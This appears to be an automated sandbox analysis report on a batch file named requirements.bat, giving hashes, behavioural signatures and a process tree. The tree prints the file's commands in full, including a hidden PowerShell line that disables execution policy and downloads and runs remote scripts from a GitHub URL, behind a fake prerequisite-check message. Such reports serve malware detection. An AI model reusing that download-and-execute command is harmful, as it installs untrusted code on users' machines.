8f75cc1e17cf0e2300197cc9dbb5f552e5b1654dfed023065195dcdc4e19f5c3

Analysis

max time kernel
31s
max time network
70s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
17-01-2024 19:24

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General

Target

requirements.bat
Size

1KB
MD5

3cc7198c407f39e94ea792e5ef82a8ce
SHA1

1659e8a26c320f22f319952f626dd3081587b5b8
SHA256

8f75cc1e17cf0e2300197cc9dbb5f552e5b1654dfed023065195dcdc4e19f5c3
SHA512

0e6b5d2564d246379f36169e3513f8fd25acea8f340caf2ce254370563b0cd02a44ce0ea4a235b13157d1dbc99eb36685fdcf5996a8b0e3957aa3874e369d4ad

Score

1^/10

Malware Config

Signatures

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2776	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2116	powershell.exe
2740	chrome.exe
2740	chrome.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe
Token: SeShutdownPrivilege	2740	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe
2740	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 1904	1616	cmd.exe	29
PID 1616 wrote to memory of 1904	1616	cmd.exe	29
PID 1616 wrote to memory of 1904	1616	cmd.exe	29
PID 1616 wrote to memory of 2116	1616	cmd.exe	30
PID 1616 wrote to memory of 2116	1616	cmd.exe	30
PID 1616 wrote to memory of 2116	1616	cmd.exe	30
PID 1616 wrote to memory of 2728	1616	cmd.exe	31
PID 1616 wrote to memory of 2728	1616	cmd.exe	31
PID 1616 wrote to memory of 2728	1616	cmd.exe	31
PID 2728 wrote to memory of 2776	2728	cmd.exe	33
PID 2728 wrote to memory of 2776	2728	cmd.exe	33
PID 2728 wrote to memory of 2776	2728	cmd.exe	33
PID 2740 wrote to memory of 2860	2740	chrome.exe	35
PID 2740 wrote to memory of 2860	2740	chrome.exe	35
PID 2740 wrote to memory of 2860	2740	chrome.exe	35
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 1788	2740	chrome.exe	37
PID 2740 wrote to memory of 2836	2740	chrome.exe	38
PID 2740 wrote to memory of 2836	2740	chrome.exe	38
PID 2740 wrote to memory of 2836	2740	chrome.exe	38
PID 2740 wrote to memory of 2896	2740	chrome.exe	39
PID 2740 wrote to memory of 2896	2740	chrome.exe	39
PID 2740 wrote to memory of 2896	2740	chrome.exe	39
PID 2740 wrote to memory of 2896	2740	chrome.exe	39
PID 2740 wrote to memory of 2896	2740	chrome.exe	39
PID 2740 wrote to memory of 2896	2740	chrome.exe	39
PID 2740 wrote to memory of 2896	2740	chrome.exe	39

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\requirements.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -WindowStyle hidden -Command "Set-ExecutionPolicy unrestricted -Force; Invoke-Webrequest 'https://raw.githubusercontent.com/imsneek/gudytevbuyde65yvyu3ev4w5y/main/putamadre.ps1' -OutFile main.ps1; .\main.ps1; Remove-Item main.ps1; Invoke-Webrequest 'https://raw.githubusercontent.com/imsneek/gudytevbuyde65yvyu3ev4w5y/main/mierda.ps1' -OutFile yes.ps1; .\yes.ps1; Remove-Item yes.ps1"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2116
- C:\Windows\system32\cmd.exe
  cmd /k "echo Prerequisite check complete. Run web host file now. Server will be on localhost:8080&& timeout /t 10&&exit"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:2776

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7119758,0x7fef7119768,0x7fef7119778
  2⤵
  PID:2860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1140 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:2
  2⤵
  PID:1788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1488 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:8
  2⤵
  PID:2836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1584 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:8
  2⤵
  PID:2896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2280 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:1
  2⤵
  PID:3040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2288 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:1
  2⤵
  PID:1732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1300 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:2
  2⤵
  PID:2192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1316 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:1
  2⤵
  PID:1828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3256 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:8
  2⤵
  PID:1044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3600 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:8
  2⤵
  PID:1140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3716 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:8
  2⤵
  PID:2032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3792 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:1
  2⤵
  PID:1424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=3576 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:1
  2⤵
  PID:3020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=2420 --field-trial-handle=1288,i,12575232690769154624,5684329419936118630,131072 /prefetch:1
  2⤵
  PID:2684

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:460

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
4KB

MD5
84ec29093ba06409b1d1f6beebee6f93

SHA1
b42d2fc8ec13019d58d1e748e2a252907a9dc17c

SHA256
f1aac589c54fe81a5f1964e230ef6fe69cf6c8703f057ccb7ca41fd81543f234

SHA512
8d72c7e93f3ed67c55dfc5bd4fa99a4eabd0bf97a5ea9da109365dfd84e64931a054487cd18385017bb1f6a261b30e67ed38046c206cdd2d1786ad16ee69d161

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
4KB

MD5
4da182b658088d46749435fa58cd709e

SHA1
d19e0c7b7b1ae82985621ea5edb4915d7703f26b

SHA256
bd7294945cf35b42f6673cb3fc6c08724d6606c8ae76fa70af28cb2e77132f2e

SHA512
ecebac63e4d6aa2bb77d767ab598a546ff4b2d625da1a4bfaba24f1d2fd264afe3441af61872350b73f5c72a88922fbdd984da2d174deccccae4301d5033bff0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\CURRENT

Filesize
16B

MD5
18e723571b00fb1694a3bad6c78e4054

SHA1
afcc0ef32d46fe59e0483f9a3c891d3034d12f32

SHA256
8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

SHA512
43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

Download Submit
memory/2116-7-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/2116-10-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/2116-11-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/2116-12-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-9-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/2116-8-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-4-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2116-6-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-5-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download